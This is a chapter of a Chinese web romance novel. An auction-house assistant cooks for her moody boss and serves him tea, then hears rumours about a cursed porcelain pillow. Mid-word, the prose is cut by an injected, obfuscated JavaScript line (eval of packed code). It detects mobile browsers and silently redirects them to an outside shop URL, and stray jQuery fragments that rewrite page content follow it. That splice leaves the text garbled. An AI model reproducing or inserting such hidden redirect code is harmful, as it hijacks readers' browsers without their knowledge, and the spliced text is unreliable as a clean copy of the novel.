41. 第41件珍宝

作品:《暴君吻技评分指南

    翻了半天,只找到几根蔫了的西芹,一块冻得梆硬的猪肋排,还有几样基础调料。灵光一闪,想起他在新加坡提过,很喜欢外婆做的肉骨茶。


    棠颂立刻掏出手机,点开烹饪APP,找到“正宗肉骨茶”教程,实际上缺几样估摸不打紧,于是信心满满地开始操作。


    洗切焯水,按步骤下料……严格按照视频里的时间掐表。油烟机嗡嗡作响,厨房里弥漫开浓郁的肉香味。


    一小时后,棠颂小心翼翼地端着一砂锅热气腾腾、颜色深褐的肉骨茶放到餐厅桌上。


    乔羽蓝已经洗过澡,换了身深灰色家居服,坐在沙发上看平板。他抬眼看了看那锅汤,又看了看她,没说话,拿起勺子舀了一小口,吹了吹,送进嘴里。


    时间凝固。


    他咀嚼的动作异常缓慢,眉头先是疑惑地蹙起,然后一点点拧紧,喉结艰难地滚动了一下,然后放下了勺子,拿起水杯猛灌了一大口。


    “棠颂,”他放下水杯,声音有点哑,眼神复杂地落在她脸上,“我今天,不太想吃花生酱。”花生酱是她的最爱,但不是他的。


    花生酱?


    棠颂愣住了,猛地看向那锅汤——深褐浓稠的汤底,散发着一股难以言喻的、仿佛香料放馊了的诡异味道?APP视频里那锅金黄清亮、香气四溢的汤呢?怎么煮成了沥青质地?


    热气“腾”地又冲上脸,完蛋!


    乔羽蓝叹了口气,叹息声里充满了“果然如此”的认命感。他撑着桌子站起身,动作因臀腿的伤而滞涩,但走向厨房的步伐透着掌控力。


    “坐那,别添乱。”他头也不回地命令。


    冰箱门开了又关。


    棠颂看着他云流水地处理食材。


    银色的厨刀在他指间翻飞,精准地切着细小的白色花朵。平底锅烧热,橄榄油滑入,发出滋响。打散的蛋液倒入,铺成薄而均匀的金黄蛋皮。接着,那些细小的白色花朵被撒入锅中。


    瞬间,一股极其清冽、幽冷、掺着露水般凉意的花香弥漫开来,霸道地驱散了肉骨茶的怪异气味。


    这香气……太熟悉了。好像是她用了多年的那款小众沙龙香的主调——晚香玉!馥郁、神秘。


    他将煎得恰到好处的蛋皮卷起,切成小段,淋上酱汁,摆盘简洁艺术。一盘“夜香花庵列”被推到棠颂面前。


    洁白的骨瓷盘里,金黄的蛋卷包裹着细碎的夜香花,淋着琥珀色酱汁,点缀翠绿豌豆苗。那清冷幽邃的花香,丝丝缕缕,唤醒了她对平时自己所使用香水的所有记忆。


    “在英国读书时,隔壁住了个法国星级大厨老头,硬塞给我的手艺。”乔羽蓝语气平淡,在她对面坐下,拿起叉子,“夜香花就是晚香玉。尝尝,毒不死人。”但那双深邃的眼睛,却悄然掠过一丝涟漪,捕捉着她脸上的细微变化。他的字典里没有巧合,他记得她爱用的香水味。一直想试试,用她喜欢的香水味做菜,是什么滋味,就像吃掉棠颂一样?


    叉子尖碰触蛋卷,送入口中。蛋皮的滑嫩,裹挟着夜香花瓣微苦回甘的清香,独特、高级,完美平衡了酱汁的微酸。最要命的是和她身上的香水惊人契合。


    一股奇异的暖流,熨帖了所有尴尬。棠颂甚至忘了咀嚼,下意识又叉起一块。


    “喜欢?”他问,声音很轻,眼睛看着盘子。


    “……嗯。”棠颂含糊应了一声,不敢抬头。这味道……太犯规了!


    饭后,乔羽蓝坐在落地窗前的单人沙发里,凝望沉沉暮色。


    空气里有微妙的松弛,也有一丝紧绷。


    只有两个人的时光,就像真正的情侣一样。饭吃完了,但她不舍得离开。


    看着茶海上那套紫砂茶具,棠颂深吸一口气,站起身:“Jo,我给你泡杯茶吧?刚学的。”没等他回应,已走到茶海前坐下。


    温壶、烫杯、高冲低斟……动作不算行云流水,却透着专注沉静。


    这是上次中秋,跟Leon回潮汕老家,被他硬按着学的。水流注入紫砂壶,热气氤氲,茶叶舒展,茶香袅袅。


    几缕碎发滑落颊边,棠颂将公道杯中的茶汤,平稳注入薄胎白瓷杯,七分满,双手奉上。


    乔羽蓝一直安静地看着。


    姿势未变,但那双总是挑剔的眼睛,此刻像沉静的深潭,专注地落在她每一个细微的动作上。他被眼前这不自知诱惑的画面——棠颂的沉静面目所吸引。脱去喧嚣,莫名性感。


    奉上茶杯时,他的目光在她低垂的眉眼和稳稳托着杯底的手指上停留。


    他伸出右手接过,指尖不经意擦过她的指背,带来一丝微弱电流。低头,轻嗅茶香,抿了一口。


    空气很静。


    茶汤温度熨贴着他的掌心和某种欲/望躁动。


    乔羽蓝放下茶杯,清脆一响。


    “茶不错。”他开口,声音低沉了些,目光转向窗外夜色。“不过,Lyla,”他顿了顿,语气陡然转冷,“以后,翠姨的案子,你别再沾手。”他转过头,目光锐利,语气却异常温柔,“我的家事,跟你没关系。”


    心口微微一窒,一股执拗冲上来。棠颂收好茶具,迎上他冰冷的目光:“您大概不知道,我从小就有个外号,叫‘侠女’。”她甚至扯出一个笑,但语气认真起来,“我会看着自己的安全。好奇不会杀死猫。”


    乔羽蓝的脸色沉了下来,无奈盯着她,眼神复杂翻涌,意思就是她不愿放弃了?就在棠颂以为他要嘲讽时,他却倏然问:“茶道,跟谁学的?”


    “哦,跟Leon学的,”棠颂没多想,一边擦茶海一边回答,“今年中秋,他说老家那边过节很热闹,硬拉我过去玩了。”她想起Leon和Noelle每天像表演二人转般逗趣,嘴角不自觉带上笑意。


    乔羽蓝的脸色倏忽却阴沉得像暴风雨前的海面,周身散发骇人的低气压。


    棠


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133028|185845||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    颂在异性中很有人气,特别在肚皮舞视频发布后,他听见过男同事们的议论,确实不用吊死在他一棵树上。


    他看也没看棠颂,只从齿缝里挤出话,冰冷生硬:


    “你今天已经完成任务,我要早点休息!走的时候关门,不送了。”


    棠颂愕然僵在原地,指尖还残留温热的茶渍。他怎么了?变脸比翻书还快。夜香花的清冷余韵萦绕鼻尖,混合着此刻令人窒息的冷意和酸涩。


    但他挺拔的背影已消失在通往二楼的楼梯拐角,脚步沉重。


    楼梯感应灯随着他的脚步,一级一级亮起冰冷的光,又在他身后一级一级熄灭,最终将他彻底吞没在黑暗里。


    ***


    秋拍在即,Precious专家部门的灯光彻夜不灭,键盘敲击声和急促的电话铃成了每天的背景音。


    棠颂刚核对完一批图录,连日来眼底熬出淡淡的青影,端着空掉的咖啡杯走向茶水间续命,苦涩才能让人清醒。


    路过敞开门的会客室时,几个西装革履的男人凑在一起,声音不高,谈话却像磁石吸住了她的脚步。


    为首的是穗禾地产二公子李兆麟,正对着身边人说得兴起,脸上混杂着惊悚与炫耀。


    “……邪门得很!王董和周董,我爹地的朋友,都栽在那玩意儿上了!”


    李兆麟压低了声音,营造出神秘气氛,“‘野梦’,听过没?就那件据说沾了血,谁碰谁倒霉的破瓷枕!王董出事前一周,跟我爹地喝酒,说做了个怪梦,梦里有个看不清脸的女人,老在唱戏……声音那个瘆人!周董更玄,说那枕头摸上去,半夜会自己发烫!”


    他咂咂嘴,眼神扫过听得入神的同伴,“现在想想,他们俩那会儿就不太对劲了,应该是被诅咒缠上了!”


    “野梦”!


    这名字瞬间扫清了棠颂连日来的疲惫。


    李兆麟口中那两个看到过异象的已故富豪和唐澜翠“生前”都接触过野梦,裴世奇告诉过她。这新线索像黑暗里骤然擦亮的火柴。


    兴奋与寒意同时窜上棠颂的脊背,她深吸一口气,步履从容地走进会客室。


    “李先生,”棠颂恰到好处地打断了李兆麟的“恐怖故事会”,她微微颔首,目光坦诚透着恰到好处的好奇,“抱歉打扰。刚才无意间听到您提到‘野梦’,还有您朋友的事……实在令人惋惜。我是Lyla,Precious中国瓷器及工艺精品部的助理。”


    她递上自己的名片,“这古董确实不同寻常。不知您方不方便,再多透露些细节?我们Precious对这类有特殊背景的器物,鉴定和追溯工作格外慎重。”她巧妙地把自己定位成一个对“专业”而非“八卦”感兴趣的求知者。


    李兆麟眯起眼,上下打量着眼前这个倏忽冒出来的年轻女孩。职业套装勾勒出纤细腰身,眉眼清秀,只是个助理?他脸上玩世不恭的笑容加深了,慢条斯理地接过名片。